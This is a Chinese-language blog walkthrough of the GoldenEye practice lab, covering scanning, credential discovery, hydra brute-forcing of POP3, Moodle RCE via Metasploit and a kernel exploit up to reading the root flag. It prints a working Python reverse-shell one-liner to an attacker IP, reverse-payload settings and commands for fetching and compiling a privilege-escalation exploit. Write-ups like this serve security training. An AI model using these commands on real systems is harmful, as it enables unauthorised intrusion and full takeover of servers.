当前位置: 首页>前端>正文

【网络安全】手把手给大家演练红队渗透项目

【网络安全】手把手给大家演练红队渗透项目,第1张

简介

该项目是以伟大的詹姆斯邦德电影GoldenEye为主题创作的,目标是获取最底层的flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该文章都能学习到一些红队的技巧和知识。

该项目有始有终会用到信息收集->暴力破解->远程代码注入->CMS RCE->提权,最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

【网络安全】手把手给大家演练红队渗透项目,第2张
在这里插入图片描述

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

1、nmap挖掘信息

扫描挖掘本地的IP地址信息:

nmap -sS -sV -T5 -A 192.168.4.202
【网络安全】手把手给大家演练红队渗透项目,第3张
在这里插入图片描述

发现开放了25、80端口,25端口是SMTP端口服务,80端口扫描出了是乌班图的系统,该apache的版本为2.4.7,接下来访问下http的80端口。

2、挖掘HTTP服务

访问:http://192.168.4.202,显示的文本提示了一条线索,它说进入到/sev-home/目录中。

User: UNKNOWN
Naviagate to /sev-home/ to login 

访问http://192.168.4.202/sev-home/结果需要登录,这时候是没有用户名密码信息的,继续枚举查找用户名密码信息!

这时候来到http主页查看源码:


【网络安全】手把手给大家演练红队渗透项目,第4张
在这里插入图片描述

3、挖掘JS信息

在http://192.168.4.202/页面查看源代码:

<script src="terminal.js"></script>
访问:view-source:http://192.168.4.202/terminal.js
【网络安全】手把手给大家演练红队渗透项目,第5张
在这里插入图片描述

通过对话可知信息中存在两个人名,以及告知了密码信息。
获得用户名:Boris、Natalya
获得密码,可以看出是HTML加密:

&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;

4、HTML解密

解密的方法千万种,该项目是第一个后面会有很多个项目给大家演示,先带大家熟悉神器Burpsuiter解密HTML:kali自带Burpsuiter工具


【网络安全】手把手给大家演练红队渗透项目,第6张
在这里插入图片描述

在Burpsuiter打开后在Decoder处进行HTML破解获取:InvincibleHack3r
最终账号密码:

boris/InvincibleHack3r

5、信息页面枚举

通过前面的两个用户名一次尝试破解的HTML密码信息,获得了正确的用户名密码登录http://192.168.4.202/sev-home/,登录后进行信息枚举:

F12调试界面发现信息
【网络安全】手把手给大家演练红队渗透项目,第7张
在这里插入图片描述

如图所示:

is very effective, we have configured our pop3 service to run on a very high non-default port

意思该环境开启了pop3 服务配置为在非常高的非默认端口上运行中,那还需要进行全端口的信息枚举。

6、nmap全端口信息枚举

从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务,进行nmap全端口扫描:

nmap -p- 192.168.4.202      (-p-:全端口扫描   -p3306:仅仅扫描3306端口)
【网络安全】手把手给大家演练红队渗透项目,第8张
在这里插入图片描述
55006/tcp open  unknown
55007/tcp open  unknown

可看到发现了55006和55007开放中,但是无法知晓是什么service服务,进行版本信息枚举。

7、nmap版本信息枚举

发现55006,55007两个开放的端口,扫描端口开启的服务详细信息:

nmap -sS -sV -T5 -A -p55006,55007 192.168.4.202
【网络安全】手把手给大家演练红队渗透项目,第9张
在这里插入图片描述

这段信息看出这两个端口开放了pop3的mail服务,那么到此我们信息收集意见归整,发现了对方的两个用户Boris、Natalya,以及开放了邮箱服务,那么肯定是有互相交往的邮件信息,接下来的目的就很明显,知晓邮箱的账号密码登录后枚举信息。

二、暴力破解-信息枚举

1、hydra暴力破解

接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:

echo -e 'natalya\nboris' > 12.txt   ---将两个用户名写入txt文本中

通过用户名密码写入文本:


【网络安全】手把手给大家演练红队渗透项目,第10张
在这里插入图片描述

然后进行hydra爆破:


【网络安全】手把手给大家演练红队渗透项目,第11张
在这里插入图片描述
hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3
-L 引用用户密码文本

-P 引用密码文本
等待2~5分钟后,成功爆破出natalya、boris用户密码信息。

获得两组账号密码:

[55007][pop3] host: 192.168.4.202   login: natalya   password: bird
[55007][pop3] host: 192.168.4.202   login: boris   password: secret1!
用户:boris 密码:secret1!
用户:natalya 密码:bird

2、信息收集

通过NC登录pop3查看邮件信封内容枚举,boris信息中有三封邮件信息,但是仅仅只是一些对话信息,在第二封邮件中提示了natalya给boris发送的邮件说了一句话:我已经获得了你的密码信息!那么接下来枚举natalya邮件。

natalya用户登录邮件查看信息:

nc 192.168.4.202 55007     ---登录邮箱
user natalya               ---登录用户
pass bird                  ---登录密码
list                       ---查看邮件数量
retr 1~2                   ---查看邮件内容
【网络安全】手把手给大家演练红队渗透项目,第12张
在这里插入图片描述

可看到在枚举natalya邮件信息中,第二封邮件直接提示了用户名密码,并且内部存在域名,还提示需要在etc/hosts中指向域名才可以正常访问。

用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com

3、设置本地HOSTS文件

HOSTS无论在windows还是linux环境下都是存在的,作用是将IP地址指向域名后,在本地访问域名会调转回IP地址信息可正常访问页面。

gedit /etc/hosts
192.168.4.202 severnaya-station.com
【网络安全】手把手给大家演练红队渗透项目,第13张
在这里插入图片描述

在最后加入该条信息就行了。

4、后台信息收集

访问severnaya-station.com/gnocertdir地址:
刚登陆界面我就看到了moodle,这是一个开源的CMS系统:


【网络安全】手把手给大家演练红队渗透项目,第14张
在这里插入图片描述

继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:

用户名:xenia
密码:RCP90rulez!
【网络安全】手把手给大家演练红队渗透项目,第15张
在这里插入图片描述

在信息枚举:Home / ? My profile / ? Messages --->发现有一封邮件,内容发现用户名doak:


【网络安全】手把手给大家演练红队渗透项目,第16张
在这里插入图片描述

【网络安全】手把手给大家演练红队渗透项目,第17张
在这里插入图片描述

发现了第三个用户名信息。

5、暴力破解doak用户

和之前暴力破解一样的性质,继续暴力破解doak用户。

echo doak > 11.txt   ---将用户名写入txt文本中
hydra -L 11.txt -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3
![在这里插入图片描述](https://img-blog.csdnimg.cn/074d878e67d743aa858432ff6aa7ed7f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBASVTogIHmtrU=,size_20,color_FFFFFF,t_70,g_se,x_16)
[55007][pop3] host: 192.168.4.202   login: doak   password: goat
获得用户名密码:doak/goat

成功获得了用户名密码,接下来登录邮件查看下信息。

6、邮件信息枚举

通过上面获得的doak密码继续登录邮件。

nc 192.168.4.202 55007     ---登录邮箱
user doak                  ---登录用户
pass goat                  ---登录密码
list                       ---查看邮件数量
retr 1                     ---查看邮件内容
【网络安全】手把手给大家演练红队渗透项目,第18张
在这里插入图片描述

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

用户名:dr_doak
密码:4England!

7、使用新的账户密码登录CMS

【网络安全】手把手给大家演练红队渗透项目,第19张
在这里插入图片描述

登录doak获得的用户名密码信息后在:Home / ? My home 右边发现: s3cret.txt文本信息,下载查看:


【网络安全】手把手给大家演练红队渗透项目,第20张
在这里插入图片描述

另外发现这是Moodle使用的2.2.3版本


【网络安全】手把手给大家演练红队渗透项目,第21张
在这里插入图片描述
Something juicy is located here: /dir007key/for-007.jpg

txt文件指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

8、图片隐写信息枚举

访问页面:severnaya-station.com/dir007key/for-007.jpg


【网络安全】手把手给大家演练红队渗透项目,第22张
在这里插入图片描述

下载到本地:

wget http://severnaya-station.com/dir007key/for-007.jpg
【网络安全】手把手给大家演练红队渗透项目,第23张
在这里插入图片描述

根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)

三款最常用的工具查看jpg文件底层内容,利用exiftool(图虫)工具:
发现kali未安装,先安装:


【网络安全】手把手给大家演练红队渗透项目,第24张
在这里插入图片描述

exiftool获取jpg文件底层内容:

exiftool for-007.jpg
【网络安全】手把手给大家演练红队渗透项目,第25张
在这里插入图片描述

可看到正常的信息显示中存在一个base64的编码信息。

或者用strings获取jpg文件底层内容:

strings for-007.jpg
【网络安全】手把手给大家演练红队渗透项目,第26张
在这里插入图片描述

用以上命令都可以查看到base64编码隐藏信息:

eFdpbnRlcjE5OTV4IQ==

9、Base64解码

使用Burpsuite破解获得密码:xWinter1995x!


【网络安全】手把手给大家演练红队渗透项目,第27张
在这里插入图片描述

在js文件线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

用户名:admin
密码:xWinter1995x!

10、admin后台信息枚举

通过获得的admin用户名密码登录:


【网络安全】手把手给大家演练红队渗透项目,第28张
在这里插入图片描述

这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。


【网络安全】手把手给大家演练红队渗透项目,第29张
在这里插入图片描述

发现可以利用CVE-2013-3630漏洞进行攻击。

三、Getshell技巧

1、MSF拿shell

1)登录MSF框架

此版本有许多漏洞利用,由于我们需要在目标计算机上进行交互访问,因此我选择使用远程代码执行(RCE)漏洞利用。利用msf框架:

msfconsole                        ---进入MSF框架攻击界面
search moodle                     ---查找 moodle类型 攻击的模块
【网络安全】手把手给大家演练红队渗透项目,第30张
在这里插入图片描述

通过搜索moodle发现存在很多漏洞可利用,选择CVE-2013-3630的exp就行。

2)利用漏洞拿shell

show option可以查看该exp脚本所需要的条件信息:

use 1                             ---调用1  exploit/multi/http/moodle_cmd_exec调用攻击脚本
set username admin                ---设置用户名:admin
set password xWinter1995x!        ---设置密码:xWinter1995x!
set rhost severnaya-station.com   ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir         ---设置目录: /gnocertdir
set payload cmd/unix/reverse      ---设置payload:cmd/unix/reverse
set lhost 192.168.4.227           ---设置:lhost 192.168.4.227(需要本地IP)
exploit                           ----执行命令
【网络安全】手把手给大家演练红队渗透项目,第31张
在这里插入图片描述

可看到填入了URL、目录、账号密码等信息后获得shell,发现是普通用户权限,那么接下来的思路就是提权了。

3)powershell设置

如果无法执行MSF获得反弹shell,该脚本使用的是powershell命令,由于我们已经使用了管理员admin用户登录页面,需要在设置中修改:

Home / ? Site administration / ? Plugins / ? Text editors / ? TinyMCE HTML editor


【网络安全】手把手给大家演练红队渗透项目,第32张
在这里插入图片描述

这只好save保存就行。

2、代码执行反弹shell

通过MSF是可以拿到shell的,但是在后台中还存在很多漏洞,接下来在演示一个利用远程代码执行命令反弹shell:

Home / ? Site administration / ? Server / ? System paths

来到该页面将一句话放入:


【网络安全】手把手给大家演练红队渗透项目,第33张
在这里插入图片描述
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

保存后当对方服务器环境在某个点触发条件就会执行该命令,这时候在本地利用NC开启监听进行获得交互shell:

nc -vlp 6666
【网络安全】手把手给大家演练红队渗透项目,第34张
在这里插入图片描述

这时候来到主页去触发下命令执行吧:

Home / ? My profile / ? Blogs / ? Add a new entry
【网络安全】手把手给大家演练红队渗透项目,第35张
在这里插入图片描述

点击打钩处会进行回转,这时候就已经远程代码执行触发了,回到nc监听处看看:


【网络安全】手把手给大家演练红队渗透项目,第36张
在这里插入图片描述

这时候就获得了反弹shell,www-data权限的shell了。

四、提权

前面获取的是低权限www-data用户,需要提权为root才可以达到我们的最终目的。

1、内核提权

执行tty,因为获得的权限无正常交互:

python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty
uname -a     # 查看权限
【网络安全】手把手给大家演练红队渗透项目,第37张
在这里插入图片描述
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

谷歌搜索:Linux ubuntu 3.13.0-32 exploit


【网络安全】手把手给大家演练红队渗透项目,第38张
在这里插入图片描述

获得exp版本:37292.c可进行利用进行内核提权。

2、kali内核脚本

搜索exp版本信息:

searchsploit 37292        ---搜索kali本地的exp库中37292攻击脚本信息
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/   ---目录可自行修改
【网络安全】手把手给大家演练红队渗透项目,第39张
在这里插入图片描述

kali是自带很多EXP攻击脚本的,直接搜索复制到本地。

3、CC编译EXP

由于第一次操作上传后,项目环境无gcc,存在CC环境需要改下脚本为cc:

gedit 37292.c       ---文本打开 
第143行将gcc改为cc    ---编写下 
【网络安全】手把手给大家演练红队渗透项目,第40张
在这里插入图片描述

然后在本地目录下开启http服务:

python -m SimpleHTTPServer 8081
【网络安全】手把手给大家演练红队渗透项目,第41张
在这里插入图片描述

这时候该37292.c攻击提权脚本就在本目录的HTTP底下,在项目环境执行wget下载文件并CC编译就行。

4、内核提权Root

先通过wget下载文件到本地

wget http://192.168.4.222:8081/37292.c   ---wget下载http服务下的文件
【网络安全】手把手给大家演练红队渗透项目,第42张
在这里插入图片描述

通过上传脚本上去后,在exp界面就可看到用法执行cc编译:

cc -o exp 37292.c     ---C语言的CC代码编译点c文件
chmod +x exp          ---编译成可执行文件,并赋权
./exp                 ---点杠执行
id                   ---查看目前权限
cat /root/.flag.txt  ---读取root下的flag信息
【网络安全】手把手给大家演练红队渗透项目,第43张
在这里插入图片描述
获得flag:568628e0d993b1973adc718237da6e93

通过内核提权脚本,成功获得了Root权限并获得了flag.txt信息。

【点击查看相关学习资料】

五、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap、hysra、pop3-nc、MSF、EXP等等的编译和使用提权等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!


https://www.xamrdz.com/web/2qp1892843.html

相关文章: